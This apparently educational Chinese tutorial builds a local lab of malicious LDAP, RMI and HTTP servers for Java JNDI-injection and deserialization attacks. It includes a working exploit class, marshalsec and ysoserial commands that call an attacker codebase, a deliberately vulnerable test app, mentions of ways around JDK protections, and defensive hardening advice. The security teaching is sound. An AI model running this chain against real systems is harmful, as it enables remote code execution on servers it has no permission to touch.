1. 项目概述:为什么我们要亲手搭建一个“恶意”服务器?
如果你对网络安全、渗透测试或者Java反序列化漏洞感兴趣,那么“JYso”这个名字你大概率不会陌生。它不是一个官方工具,而是一个在安全研究圈内流传的、用于演示和测试特定Java反序列化漏洞利用链的集成环境。这个项目的核心,就是让你能在一个可控的环境里,亲手搭建起LDAP、HTTP和RMI这三种协议的服务端,并理解它们如何被组合起来,构成一个完整的“攻击面”。
我知道“恶意服务器”这个词听起来有点吓人,可能会让初学者望而却步。但请放心,我们这里讨论的一切,都严格限定在本地环境、授权测试和学习教育的范畴内。它的真正价值在于“以攻促防”。作为一名开发者或安全爱好者,只有当你清晰地知道攻击者是如何利用一个脆弱的ObjectInputStream.readObject()调用,通过一串精心构造的链(Gadget Chain)最终在你的服务器上执行任意命令时,你才能真正理解为什么要在代码里避免使用不安全的反序列化,为什么要及时更新依赖库。这不是教你怎么去攻击别人,而是给你一个显微镜,让你看清漏洞的原理和危害,从而在开发中主动规避。
简单来说,这个项目能帮你:
- 直观理解漏洞原理:告别枯燥的理论,通过亲手搭建,看到漏洞利用的每一个环节是如何串联的。
- 掌握关键协议:深入理解LDAP(轻量目录访问协议)、RMI(远程方法调用)和HTTP在Java反序列化攻击中扮演的“跳板”角色。
- 构建测试环境:为自己或团队创建一个可复用的、安全的漏洞验证与学习环境。
- 提升排查能力:当你的应用出现相关异常日志(比如尝试连接某个可疑的LDAP地址)时,你能立刻意识到潜在的风险。
接下来,我会假设你是一个有一定Java和命令行基础,但对安全渗透测试完全零基础的开发者。我们将从最基础的环境准备开始,一步步拆解JYso的构成,并手把手完成三个核心服务(LDAP、HTTP、RMI)的搭建与联动测试。过程中,我会穿插大量我实际踩过的坑和总结的技巧,确保你能一次成功,并真正学懂背后的逻辑。
2. 环境准备与核心组件解析
在动手敲命令之前,我们必须把“战场”打扫干净,把需要的“武器”准备好。这里最大的一个坑就是环境冲突,很多初学者失败的原因就是端口被占用或者Java版本不对。
2.1 基础环境检查与配置
首先,你需要一台机器。强烈建议使用虚拟机(如VirtualBox + Ubuntu)或云服务器来操作,这样即使操作失误也不会影响你的宿主机。操作系统推荐Linux(如Ubuntu 20.04/22.04)或macOS,Windows也可以但可能需要处理更多环境变量问题。
Java环境:这是重中之重。JYso及其利用链通常针对特定的Java版本。经过我的多次测试,Java 8u102或更低版本是最兼容、问题最少的。高版本Java(如8u191之后)引入了很多安全限制,会直接导致利用失败。如果你本机有多个Java项目,强烈建议使用jenv或update-alternatives来管理多版本。
检查你的Java版本:
java -version如果版本高于8u102,你需要安装一个旧版本。在Ubuntu上,可以这样安装:
sudo apt install openjdk-8-jdk # 安装后,使用 update-alternatives 切换 sudo update-alternatives --config java # 选择对应的 java-8-openjdk 路径网络与防火墙:确保你的测试机器防火墙放行了后续要用到的端口。我们主要会用到:
- LDAP服务端口:通常使用
1389(非SSL)或1636(SSL),我们先用1389。 - HTTP服务端口:例如
8080或8888,用于托管恶意类文件。 - RMI服务端口:例如
1099,这是RMI注册表的默认端口。 在本地虚拟机测试时,最简单的方法是暂时关闭防火墙(仅限测试环境!):
sudo ufw disable2.2 理解JYso的核心构成与获取
JYso并不是一个单一的软件,它更像是一个“脚本集合”或“项目模板”,集成了几个关键的开源工具。我们通常需要准备以下核心组件:
- marshalsec:这是一个由
mbechler大神编写的工具,它能够快速启动一个恶意的LDAP或RMI服务器。它是整个利用链中最核心的组件。我们需要从GitHub克隆并编译它。 - 一个简单的HTTP文件服务器:用于托管我们编译好的恶意Java类文件。可以用Python的
http.server,也可以用nginx,甚至是一个简单的Spring Boot应用。原则是能让受害服务器通过HTTP协议下载到我们的类文件。 - 用于演示的漏洞应用:为了测试效果,我们需要一个“受害者”。通常是一个包含已知反序列化漏洞的简单Java应用,例如使用
commons-collections 3.2.1的Web应用。我们可以自己写一个,或者使用一些现成的漏洞靶场(如vulhub中的相关镜像)。
注意:请务必从官方或可信的源获取这些工具。不要在不明网站下载预编译的jar包,以防被植入后门。对于marshalsec,我们直接克隆源码自己编译。
获取与编译marshalsec:
# 1. 克隆仓库 git clone https://github.com/mbechler/marshalsec.git cd marshalsec # 2. 使用Maven编译。这里有个关键点:项目可能依赖较旧的库,建议使用Maven 3.6.x。 # 如果编译报错,可以尝试跳过测试 mvn clean package -DskipTests编译成功后,你会在target目录下找到marshalsec-0.0.3-SNAPSHOT-all.jar(版本号可能不同)。这个-all后缀的jar包含了所有依赖,是我们接下来要用的。
准备HTTP服务器: 我们用最简单的Python3内置模块,在恶意类文件所在目录启动:
python3 -m http.server 8888这样,当前目录下的所有文件就可以通过http://你的IP:8888/文件名来访问了。
3. 恶意类(Payload)的构造与编译
服务器搭建好了,但“弹药”还没准备。这个“弹药”就是最终能在目标服务器上执行的恶意代码。在Java反序列化中,这个“弹药”是一个实现了Serializable接口的类,它在反序列化时,其readObject、getter方法或静态代码块中的代码会被执行。
3.1 编写一个简单的恶意类
我们从一个最无害但能证明漏洞存在的Payload开始:弹出一个计算器(在Windows上是calc.exe,在Linux/Mac上是gnome-calculator或/usr/bin/gnome-calculator)。这个操作视觉反馈明显,且不会对系统造成实质破坏。
创建一个文件Exploit.java:
import java.io.Serializable; import java.lang.Runtime; import java.lang.Process; public class Exploit implements Serializable { static { try { // 根据不同操作系统执行不同命令 String os = System.getProperty("os.name").toLowerCase(); Process p; if (os.contains("win")) { p = Runtime.getRuntime().exec("calc.exe"); } else if (os.contains("mac")) { p = Runtime.getRuntime().exec("open -a Calculator"); } else { // Linux,假设有gnome-calculator p = Runtime.getRuntime().exec("gnome-calculator"); } p.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }这个类的静态代码块会在类被加载时执行。当受害服务器的反序列化流程最终加载我们这个Exploit.class时,计算器就会被弹出。
3.2 编译与托管
编译这个类,注意编译用的Java版本最好与目标受害环境一致,避免版本兼容性问题。
javac Exploit.java编译后会生成Exploit.class文件。将这个文件放到我们之前启动的Python HTTP服务器的目录下。确保你能通过浏览器或curl命令访问到它:
curl http://127.0.0.1:8888/Exploit.class如果能看到一串二进制数据输出,说明HTTP服务正常。
实操心得:在实际测试中,更复杂的Payload可能会依赖额外的Jar包。你需要将整个依赖打包成一个Jar文件,或者确保类路径正确。对于初学者,这个简单的
Exploit.class足以演示整个流程。另外,在真实漏洞利用中,攻击者可能会构造执行命令、上传文件、反弹Shell的Payload,原理与此类似,只是命令更复杂。
4. 搭建LDAP与RMI恶意引用服务器
这是整个环节中最精妙的部分。受害服务器在反序列化时,并不会直接包含我们的恶意类代码,那样太容易被检测。相反,它会包含一个“引用”(Reference),指向我们搭建的LDAP或RMI服务器。当受害服务器解析这个引用时,会去我们指定的地址(LDAP/RMI服务)查询,而我们的服务则会“告诉”受害服务器:“嘿,你要的类在那边那个HTTP服务器上(http://你的IP:8888/Exploit.class)”,从而触发受害服务器去远程加载并执行我们的恶意类。
4.1 启动恶意LDAP服务器
使用我们编译好的marshalsec来启动一个LDAP服务,它会监听1389端口,并将收到的请求重定向到我们的HTTP服务器。
# 假设 marshalsec jar 包和 Exploit.class 在同一台机器,你的IP是 192.168.1.100 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.100:8888/#Exploit" 1389命令拆解:
-cp:指定类路径,即我们的jar包。marshalsec.jndi.LDAPRefServer:启动LDAP引用服务器的主类。"http://192.168.1.100:8888/#Exploit":这是核心参数。它告诉LDAP服务器,当有客户端查询时,返回一个指向该URL的Reference对象。#Exploit表示从该URL下载的类文件中,类名是Exploit。1389:监听的端口。
如果看到类似Listening on 0.0.0.0:1389的输出,说明LDAP服务器启动成功。
4.2 启动恶意RMI服务器
RMI是另一种JNDI(Java命名和目录接口)可以使用的协议。启动方式类似:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.1.100:8888/#Exploit" 1099参数含义与LDAP版本完全一致,只是主类换成了RMIRefServer,端口换成了RMI默认的1099。
关键原理解析:为什么LDAP/RMI服务器能指挥受害服务器? 当存在漏洞的代码执行类似
new InitialContext().lookup("ldap://attacker-ip:1389/Exploit")或new InitialContext().lookup("rmi://attacker-ip:1099/Exploit")时,Java会向指定的LDAP/RMI服务器发起请求。我们启动的恶意服务器接收到请求后,并不返回真正的对象数据,而是返回一个javax.naming.Reference对象,其中包含了Factory类和代码库地址(就是我们的HTTP URL)。受害服务器的JNDI实现会尝试从指定的代码库(Codebase)加载Factory类(即我们的Exploit类),并实例化它,从而触发静态代码块中的恶意代码。这就是所谓的 “JNDI注入” 攻击的核心。
4.3 服务联动测试
在启动LDAP和HTTP服务后,我们可以先进行一个简单的自我测试,确保链路通畅。
- 保持Python HTTP服务器 (
:8888) 和 marshalsec LDAP服务器 (:1389) 运行。 - 另开一个终端,使用一个简单的Java程序模拟受害者进行查找:
// TestJNDI.java import javax.naming.InitialContext; public class TestJNDI { public static void main(String[] args) throws Exception { // 这里指向我们自己的恶意LDAP服务器,仅用于测试服务是否正常响应 Object obj = new InitialContext().lookup("ldap://127.0.0.1:1389/Test"); System.out.println(obj); } } - 编译并运行这个测试程序(注意:务必使用低版本Java,如8u102):
javac TestJNDI.java java -cp . TestJNDI
如果看到输出了类似Reference Class Name: Exploit的信息,或者程序尝试连接你的HTTP服务器(可以在HTTP服务器终端看到访问日志),说明整个恶意引用链路是通的。你可能会得到一个ClassCastException或ClassNotFoundException,这没关系,因为测试程序没有真正去加载那个类,但只要看到LDAP服务器有请求日志,并且返回了指向HTTP地址的Reference,就证明服务器工作正常。
5. 整合测试:模拟漏洞环境与触发
现在,我们有了一台提供恶意类的HTTP服务器(:8888),一台提供恶意引用的LDAP服务器(:1389)。接下来,我们需要一个“受害者”应用来触发整个漏洞链。
5.1 创建一个简单的漏洞模拟程序
我们写一个最简单的、存在反序列化漏洞的程序。它从一个字节流中反序列化对象。
// VulnerableApp.java import java.io.*; import java.util.Base64; public class VulnerableApp { public static void main(String[] args) throws Exception { if (args.length < 1) { System.out.println("Usage: java VulnerableApp <base64_serialized_object>"); return; } // 从命令行参数读取Base64编码的序列化数据 byte[] serializedData = Base64.getDecoder().decode(args[0]); try (ByteArrayInputStream bais = new ByteArrayInputStream(serializedData); ObjectInputStream ois = new ObjectInputStream(bais)) { // 这里是漏洞点:毫无戒备地反序列化来自外部的数据 Object obj = ois.readObject(); System.out.println("Deserialized object: " + obj); } catch (Exception e) { e.printStackTrace(); } } }编译它:javac VulnerableApp.java
5.2 生成指向LDAP的恶意序列化数据
我们需要生成一个特殊的序列化对象,当它被反序列化时,会触发对ldap://我们的IP:1389/Exploit的JNDI查找。这里我们使用ysoserial这个工具(另一个著名的Java反序列化利用框架)来生成Payload。再次强调,仅用于本地授权测试。
首先,下载或编译ysoserial。假设我们使用URLDNS这个Gadget(它只触发DNS查询,无害,用于验证漏洞存在)和JNDI相关的Gadget。
生成一个触发LDAP查询的Payload(以CommonsCollections5链为例,该链支持JNDI注入):
# 假设 ysoserial.jar 在当前目录 # 命令格式:java -jar ysoserial.jar [Gadget链名称] "[jndi url]" java -jar ysoserial.jar CommonsCollections5 "ldap://192.168.1.100:1389/Exploit" > payload.ser这会生成一个二进制文件payload.ser。我们需要将它转换成Base64字符串,方便传递给我们的漏洞程序。
base64 -i payload.ser -o payload.b64 # 或者直接输出到终端 cat payload.b645.3 触发漏洞
确保三台“服务器”都在运行:
- Python HTTP服务器 (
:8888),托管着Exploit.class。 - marshalsec LDAP服务器 (
:1389),指向上述HTTP地址。 - 最重要的一步:使用低版本Java(如8u102)运行漏洞程序。
在终端中运行:
java -cp . VulnerableApp "$(cat payload.b64)"观察现象:
- 在运行漏洞程序的终端,你可能会看到复杂的异常栈(如
ClassCastException,NoClassDefFoundError等),这是正常的,因为利用链的最终加载可能失败,但关键步骤已经触发。 - 立即查看你的LDAP服务器终端。你应该能看到一条新的连接日志,类似
Send LDAP reference result for Exploit redirecting to http://192.168.1.100:8888/Exploit.class。 - 接着查看你的Python HTTP服务器终端。你应该能看到一条
GET /Exploit.class的访问记录,这说明受害程序已经尝试从你的HTTP服务器加载恶意类了! - 如果环境完全正确(Java版本低、类路径无误、操作系统有图形界面),你将会看到计算器程序被成功弹出。
成功的关键与常见失败点:
- Java版本:这是头号杀手。高于8u191的Java默认禁止从远程Codebase加载类。必须使用8u102或更早版本。可以通过
java -version反复确认。- 网络连通性:确保“受害者”程序能访问到你的LDAP和HTTP服务器。在本地用
127.0.0.1测试最简单。如果在虚拟机中,确保网络模式是桥接或NAT,并关闭防火墙。- 类名与路径:确保HTTP服务器上的类文件可访问,且
#后面的类名(Exploit)与文件名(Exploit.class)及类定义中的public class Exploit完全一致。- 利用链兼容性:不同的漏洞应用依赖不同的第三方库(如commons-collections, commons-beanutils等)。
ysoserial的CommonsCollections5链需要应用中有相应的库。我们的模拟程序没有,所以可能只触发到JNDI查找和HTTP下载,但最终执行失败。这并不影响我们理解整个流程。要看到完整效果,需要将漏洞程序打包成Web应用,并引入相应的脆弱依赖。
6. 协议详解:LDAP、HTTP、RMI在攻击中的角色
通过上面的实操,我们已经看到了三台服务器是如何协作的。现在我们来深入剖析一下,为什么是这三个协议,它们各自起到了什么作用。
6.1 HTTP:恶意代码的仓库与分发点
HTTP协议在这里扮演了一个文件服务器的角色。它的任务非常简单纯粹:存储恶意编译后的Java类文件(.class文件或.jar包),并在收到请求时将其以二进制流的形式返回。
- 为什么是HTTP?因为它无处不在,支持简单,防火墙通常不会完全阻止HTTP出站流量。而且Java的
URLClassLoader原生支持从http://和file://等URL加载类。 - 关键点:HTTP服务器本身不需要任何“恶意”逻辑,它只是一个静态文件服务。攻击的“恶意性”来源于它分发的文件内容。
6.2 LDAP/RMI:攻击的指挥中枢与协议桥梁
LDAP和RMI协议在这里的角色更为关键,它们是JNDI注入的载体。JNDI是Java提供的一个统一接口,用于访问各种命名和目录服务,而LDAP和RMI是JNDI支持的具体协议。
- 指挥作用:当存在漏洞的代码执行
lookup(“ldap://attacker/xxx”)时,它期望从LDAP服务器获取一个对象。我们的恶意LDAP服务器并不返回真实的数据对象,而是返回一个Reference对象。这个Reference对象里包含了一个Factory类名和一个codebase地址(就是我们的HTTP URL)。 - 触发远程加载:受害者的Java运行时在解析到这个
Reference后,如果Factory类不在本地classpath中,它会尝试从codebase指定的地址(即我们的HTTP服务器)去加载这个类。正是这一步,将攻击从“数据引用”变成了“代码执行”。 - LDAP vs RMI:
- LDAP:通常在企业内网中用于用户认证和资源查找,出站流量可能被允许。攻击者利用这一点,将恶意负载隐藏在看似正常的目录查询中。
- RMI:是Java原生的远程调用协议。恶意RMI服务器可以直接返回一个动态代理对象,该对象在方法被调用时触发类加载,同样可以达到目的。在某些网络环境下,RMI流量可能比LDAP更不引人注目。
6.3 攻击链的完整串联
- 入口点:应用反序列化外部传入的恶意数据。
- Gadget链执行:反序列化数据触发一系列
readObject、getter、toString等方法的调用链(即Gadget Chain),最终执行到javax.naming.InitialContext.lookup(String url)。 - 协议交互:
lookup方法根据URL协议(ldap://或rmi://)向攻击者控制的服务器发起请求。 - 恶意响应:攻击者的LDAP/RMI服务器返回一个包含远程
codebase的Reference。 - 远程类加载:受害者JVM从
codebase(攻击者的HTTP服务器)加载指定的Factory类。 - 代码执行:加载的类被实例化,其静态代码块或构造方法中的恶意代码得以执行。
理解了这个链条,你就会明白,防御此类攻击的关键点在于:禁止反序列化不可信数据、升级Java版本以默认关闭远程类加载、对JNDI查找进行白名单控制。
7. 防御视角:从攻击原理到安全加固
搭建恶意服务器的过程,实际上是一次深刻的防御教育。知道了攻击是如何发生的,我们就能更有针对性地进行防护。
7.1 代码层面的根本性防御
避免使用原生的反序列化:这是最根本的解决方案。对于对象持久化或网络传输,考虑使用更安全的替代方案,如:
- JSON(Jackson, Gson):结构化文本格式,无法直接承载可执行代码。
- Protocol Buffers, Thrift, Avro:高效的二进制序列化协议,有严格的模式定义,安全性更高。
- 如果必须使用Java序列化,则严格限定其使用范围(如仅限内部服务间通信)。
使用反序列化过滤器(Java 9+):在Java 9中引入了
ObjectInputFilter(JEP 290),可以在反序列化时对类进行过滤。ObjectInputStream ois = new ObjectInputStream(bais); ois.setObjectInputFilter(filter); Object obj = ois.readObject();可以创建一个过滤器,只允许反序列化业务明确需要的类,阻断所有未知的、危险的类。
升级依赖库:及时更新项目中使用到的第三方库,特别是
commons-collections,commons-beanutils,groovy,fastjson等已知存在高危反序列化Gadget的库。很多漏洞在后续版本中已被修复。
7.2 运行环境与配置加固
升级JRE/JDK版本:这是阻断大部分JNDI注入攻击最有效的手段。
- 8u191, 7u201, 6u211, 11.0.1之后:默认将
com.sun.jndi.ldap.object.trustURLCodebase和com.sun.jndi.rmi.object.trustURLCodebase属性设置为false,禁止从远程Codebase加载类。 - 即使在高版本中,也建议显式设置这些系统属性为
false。
- 8u191, 7u201, 6u211, 11.0.1之后:默认将
配置JVM安全策略:可以通过JVM参数或
java.security文件,对网络访问、类加载等操作进行更细粒度的限制。网络层防护:
- 出站规则:在服务器防火墙或安全组上,严格限制应用服务器的出站连接。除了必要的数据库、缓存、内部API等地址和端口,其他出站流量应默认拒绝。这可以阻止服务器主动连接攻击者的LDAP/HTTP服务器。
- 入侵检测:部署IDS/IPS或使用网络流量分析工具,监控是否存在对非常用端口(如1389, 1099)的出站连接尝试,或者是否存在对可疑外部域名的HTTP请求(下载.class文件)。
7.3 安全开发流程融入
- 代码审计:在代码审查阶段,重点关注
ObjectInputStream,XMLDecoder,XStream,readObject,readResolve等危险函数的使用。使用静态代码分析工具(如SpotBugs、SonarQube)进行自动化扫描,配置规则以发现不安全的反序列化点。 - 依赖检查:使用OWASP Dependency-Check、Snyk等工具持续扫描项目依赖,及时发现并修复含有已知漏洞的组件。
- 安全意识:让开发团队了解反序列化漏洞的原理和危害,避免在不知风险的情况下引入危险代码。
8. 常见问题排查与深度技巧
在实际搭建和测试过程中,你几乎一定会遇到各种问题。下面是我总结的一些常见错误和排查思路,希望能帮你快速定位。
8.1 问题排查清单
| 现象 | 可能原因 | 排查步骤 |
|---|---|---|
| LDAP/RMI服务器无连接日志 | 1. 漏洞未触发。 2. 网络不通。 3. 防火墙阻止。 4. Payload生成错误。 | 1. 在漏洞程序里加日志,确认lookup是否执行。2. 从漏洞机器 telnet attacker-ip 1389测试连通性。3. 检查服务器防火墙规则。 4. 使用 ysoserial的URLDNS链测试,看是否能触发DNS查询,验证基础利用链是否通。 |
| HTTP服务器无访问日志 | 1. LDAP/RMI服务器配置的URL错误。 2. 高版本Java限制了远程加载。 3. 类名或路径错误。 | 1. 检查启动LDAP服务器时指定的HTTP URL是否正确无误。 2.确认Java版本是否为8u102或更低。用 java -version反复确认运行漏洞程序的JVM版本。3. 直接用浏览器访问 http://your-ip:8888/Exploit.class,确认文件可下载且类名匹配。 |
| 计算器未弹出,但HTTP被访问 | 1. 操作系统无图形界面(如无桌面环境的Linux服务器)。 2. 命令执行被拦截(如安全软件)。 3. Exploit.class编译或加载失败。 | 1. 修改Payload为执行一个无害且有回显的命令,如touch /tmp/success或echo test > /tmp/test.txt,检查文件是否创建。2. 查看漏洞程序输出的异常栈,是否有 ClassNotFoundException,NoClassDefFoundError或AccessControlException(权限不足)。3. 确保编译 Exploit.java的JDK版本与运行漏洞程序的JRE版本兼容。 |
报错[ClassCastException]等 | Gadget链执行到最后,但返回的对象类型与上下文预期不符。 | 这通常是利用链的一部分,说明反序列化和JNDI查找已触发,但后续的链式调用可能因环境差异未能完美衔接。只要看到LDAP和HTTP有访问记录,就证明核心的JNDI注入部分已成功。 |
8.2 深度技巧与高级用法
使用DNSLog验证漏洞存在:在不便直接弹Shell或执行命令的环境(如生产环境探测),可以使用
URLDNS这个Gadget。它只触发一次DNS查询,非常隐蔽。java -jar ysoserial.jar URLDNS "http://your-dnslog-subdomain.dnslog.cn" > payload_dns.ser将生成的Payload发送给目标,如果目标存在漏洞,你就会在DNSLog平台看到解析记录,从而确认漏洞存在,而无需执行任何代码。
绕过高版本Java限制:在Java 8u191之后,远程加载被默认禁止,但攻击技术也在演进。例如:
- 利用本地ClassPath中的类:如果目标ClassPath中存在某些可被利用的类(如Tomcat中的
org.apache.naming.factory.BeanFactory),攻击者可以构造Reference指向这些本地类,并结合EL表达式等方式执行命令。这需要更深入的研究。 - 其他利用链:关注Log4j2 (CVE-2021-44228)、Fastjson等组件中的JNDI注入漏洞,它们可能在某些条件下绕过限制。
- 利用本地ClassPath中的类:如果目标ClassPath中存在某些可被利用的类(如Tomcat中的
内存马与无文件攻击:在Web环境中,成功的反序列化攻击往往不是为了弹一个计算器,而是注入一个“内存Webshell”(内存马)。攻击者会构造一个Payload,在目标JVM中动态注册一个Filter、Servlet或Controller,从而获得一个隐藏的、不落地的后门。防御这类攻击,除了上述措施,还需要配合RASP(运行时应用自我保护)或定制的Agent进行内存监控。
工具集成与自动化:对于经常需要做安全测试的同学,可以将
marshalsec、ysoserial的调用封装成脚本,并集成到Burp Suite等渗透测试工具中,实现一键生成Payload、启动服务、测试漏洞的流程。
搭建这样一个恶意服务器环境,最大的收获不是学会了“攻击”,而是彻底理解了“漏洞”。你会对日志中每一个陌生的JNDI连接字符串变得敏感,会在代码评审时对ObjectInputStream的使用提出质疑,会在选择序列化方案时优先考虑安全性。这才是以攻促防的真正意义所在。整个实验环境务必在隔离的虚拟机中完成,所有工具和代码仅用于法律允许的安全学习与研究。